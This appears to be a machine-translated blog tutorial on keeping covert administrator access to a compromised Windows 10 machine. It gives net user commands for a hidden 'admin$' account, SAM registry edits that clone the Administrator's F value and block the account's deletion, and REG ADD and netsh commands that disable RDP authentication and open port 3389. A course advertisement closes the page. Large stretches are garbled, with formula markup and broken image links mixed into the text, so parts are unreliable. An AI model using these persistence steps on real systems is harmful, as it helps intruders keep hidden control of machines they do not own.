[Xiaobai's Learning Advancement Road#Authority Maintenance] P1, Creation and utilization of hidden users

1. Creation and utilization of hidden users (shadow users) to maintain authority > Use conditions: ① Obtain administrator authority; ② Obtain shell environments such as cmdshell.

System: Windows10 x64 Professional Edition ### Operation steps (take Windows10 as an example): 0×01. First, use cmdshell to add a user with a username $For\; users,\; such\; as:admin$ :123456command:

net user admin$ 123456 /add #add user admin$

net localgroup administrators admin$ /add #Add the admin $Add\; user\; to\; admin\; groupadministrators!\left[\right](https://img-blog.csdnimg.cn/im{g}_{c}onvert/9130ff32ab1885afa3e87e680b811a42.jpeg)\ast \ast Because\; there\; is\; (system\; feature)\; after\; the\; user\; name$ , when using the command: net user, the user cannot be seen in the command prompt** At this time, you can directly log in to 3389 to operate, but the concealment is still not enough, you can In the management tool of the control panel, users and user groups can check the existence of the user, and further operations are required. 0×02. Modify the registry, which cannot be viewed in the command prompt and management tools.**When you use the shell to create a shadow user, you can use this shadow user to open 3389 to log in, and modify the registry on the target machine. Perform data operations to improve the concealment of shadow users. **Open the registry by running regedit and find the item table as shown below:Selectthe SAM item, set the permissions in **"Edit > Permissions"** on the toolbar, set thepermissions of the Administrators group to full control
and save .

(
Refusing to modify is irreversible. Mistakes will cause big problems. Don’t click on the deny item for full control. This operation is irreversible. Using this idea, we can deny access to the System and Administrators permissions after modifying the registry, which can prevent administrators from deleting This user.
) After setting, go back to the main page of the registry and find a hidden subkey under the SAM item, find SAM > Domains > Account > Users and Names to find the Administrator user and admin respectively$user\ast Two\; items\; of\ast Administratoruser\text{'}sFvalue\; (SID):and\; then\ast \ast Binary\; data\; inF\; table\ast \ast Copy\; it\; down\; and\; find\ast \ast$ Edit and pastethe F value of$the\; user$$ad$$min$$under\; Users$$,$ modify it
to the value of Administrator, and save it$.$**The binary data values ​​under the users item and names item of the admin user: ∗ ∗ ! [ 161761652 4 6 06 ade 8 c 3 c 07 fb 3878675. png ! small ? 1617616524568 ] ( https : / / img − blog . csdnimg.$The\; binary\; data\; value\; underthe\; user\text{'}suser\; \text{'}sitemandname\text{'}s\; item:\ast \ast Changethe\; 000003E9\; itemunder\; the\; Users\; item(adminuser\text{'}s$ SID Binary data value) is replaced with the value of the Administrator user, ** after the replacement, export
the admin under$Item\; and000003E9item\; (right\; click\; to\; select\; the\; item\; to\; export)\ast \ast 。After\; exporting:Usecmdshell(administrator\; authority)\; to$ delete$a$$d$$min$ , after deleting, it is found that the admin user-related items in the registry$The\; user-related\; items\; have\; disappeared.\; At\; this\; time,\; we\; import\; the\; backed-up\; items\; and\; values\; (double-click\; to\; import\; after\; exporting\; or\; import\; in\; the\; registry)>Command:netuseradmin$ /delRegistry import:import successfully:

After the import is successful, return to the page of viewing users and user groups in the management tool, and find that the user group and user have no admin$This\; user\; exists,\; but\; in\; fact\; we\; can\; still\; use\; this\; user\text{'}s\; password\; to\; log\; in\; toRDP,andit\; can\; be\; equivalent\; to\ast \ast Administratoradministrator\ast \ast Perform\; login\; operation.Open3389to\; log\; in\; and\; find\; the\; problem:\; It\; is\; found\; that\; the\; user\; is\; not\; authorized.\; At\; this\; time,there\; is\; another\; utilization\; condition,\; which\; should\; be\; in\; the\; lower\; right\; Under\; the\; selected\; user,\; add\; the\; user\; name\; ofthe\; admin$ user to log in to 3389 normally$.$Successful login after modification:### 0×01 Details expansion: Then we are based on the remote login interface in actual combat. At this time, we need to expand another permission, userauthentication permission, for authentication of remote connections. **We visually check the difference between the permission on and off with pictures: **On state:Off state:

focus! ! ! **When the authentication is turned on, we cannot log in to the remote interface without knowing the account password, but after the authentication is turned off, we can enter the remote interface window regardless of whether the account number and password we entered are correct. **How ​​to turn off the authentication mode , we use the following command :

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0> 0 means off, 1 means turning on and off the authentication mode is not enough, you also need to turn off the securitylayer security layer Verification: **Specifically refers to: 0 means use the rdp protocol for identity verification before connecting, and rdp means remote desktop connection, which can be simply understood as turning off verification. 1
means that both ends negotiate for authentication before connecting, and this is the default value. 2 is to use the tls protocol. **Set its parameter to 0, the command is as follows:

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0> In the author’s test, both parameters are turned off at the same time (there is also a parameter that turns off without verification , but it is best to turn off both parameters) to enter the login page of 3389 without entering the correct credentials. The basis of the above operations is that the target computer has enabled remote desktop connection , so we should also understand how to enable remote desktop connection here. Let’s first configure the firewall and set it to allow remote desktop connection
. Command:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP
dir=in localport=3389 action=allownetsh is a Windows network configuration command, advfirewall firewall means advanced firewall settings, add rule is to add a rule, name specifies the rule
name , protocol specifies the protocol, dir specifies whether to go out or inbound, localport specifies the port, and action specifies the action allow to allow.

After setting, let's set the remote desktop connection through the registry and execute the following command:

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer” /v
fDenyTSConnections /t REG_DWORD /D 0 /f After doing the above work, the RDP remote login interface of the server can be opened without entering the correct password, and the remote desktop connection Entering the ip will directly jump to the target lock screen page.

Go to the login page without credential authentication:

Enter the ip on the face connection and it will jump directly to the target lock screen page.

Go to the login page without credential authentication:

### 0×02 Idea extension What is shown here is the creation and utilization of shadow users representing new users. If you encounter a conscious administrator, it is very likely to be found in the registry. If you set irreversible permissions (see The Deny option of access settings full control) can effectively solve the problem of this account being deleted violently, but it will also cause bigger problems later. Using the new shadow user to log in to 3389 will generate data that is easy to be found, and it is necessary to add conditions to 3389 to log in normally (this is the case under Windows 10). Two methods can be expanded here: ① So here we can open the guest account Guest to replace its F value in the registry, open the Guest account, we can log in and reduce some unnecessary attention. ②In the option of adding authorized users, add all known users to prevent administrators from discovering the existence of created shadow users too early.

at last

Share a quick way to learn [Network Security], "maybe" the most comprehensive learning method:
1. Network security theoretical knowledge (2 days)
① Understand the industry-related background, prospects, and determine the development direction.
②Learn laws and regulations related to network security.
③The concept of network security operation.
④Multiple guarantee introduction, guarantee regulations, procedures and norms. (Very important)

2. Penetration testing basics (one week)
①Penetration testing process, classification, standards
②Information collection technology: active/passive information collection, Nmap tools, Google Hacking
③Vulnerability scanning, vulnerability utilization, principles, utilization methods, tools (MSF), Bypass IDS and anti-virus reconnaissance
④ Host attack and defense drill: MS17-010, MS08-067, MS10-046, MS12-20, etc.

3. Operating system basics (one week)
①Common functions and commands of Windows system
②Common functions and commands of Kali Linux system
③Operating system security (system intrusion troubleshooting/system reinforcement basis)

4. Computer network foundation (one week)
①Computer network foundation, protocol and architecture
②Network communication principle, OSI model, data forwarding process
③Common protocol analysis (HTTP, TCP/IP, ARP, etc.)
④Network attack technology and network security defense technology
⑤Web vulnerability principle and defense: active/passive attack, DDOS attack, CVE vulnerability recurrence

5. Basic database operations (2 days)
①Database basics
②SQL language basics
③Database security reinforcement

6. Web penetration (1 week)
①Introduction to HTML, CSS and JavaScript
②OWASP Top10
③Web vulnerability scanning tools
④Web penetration tools: Nmap, BurpSuite, SQLMap, others (chopper, missing scan, etc.)

Congratulations, if you learn this, you can basically work in a network security-related job, such as penetration testing, web penetration, security services, security analysis and other positions; if you learn the security module well, you can also work as a security engineer. The salary range is 6k-15k.

So far, about a month. You've become a "script kiddie". So do you still want to explore further?

Friends who want to get involved in hacking & network security, I have prepared a copy for everyone: 282G, the most complete network security data package on the entire network, for free!
Click [Card at the end of the article] to get it for free

With these foundations, if you want to study in depth, you can refer to the super-detailed learning roadmap below. Learning according to this route is enough to support you to become an excellent intermediate and senior network security engineer:

[High-definition learning roadmap or XMIND file (click the card at the end of the article to get it)]

There are also some video and document resources collected in the study, which can be taken by yourself if necessary:
​​supporting videos for each growth path corresponding to the section:


of course, in addition to supporting videos, various documents, books, materials & tools are also organized for you , and has helped everyone to classify.

Due to the limited space, only part of the information is displayed. If you need it, you can [click the card below to get it for free]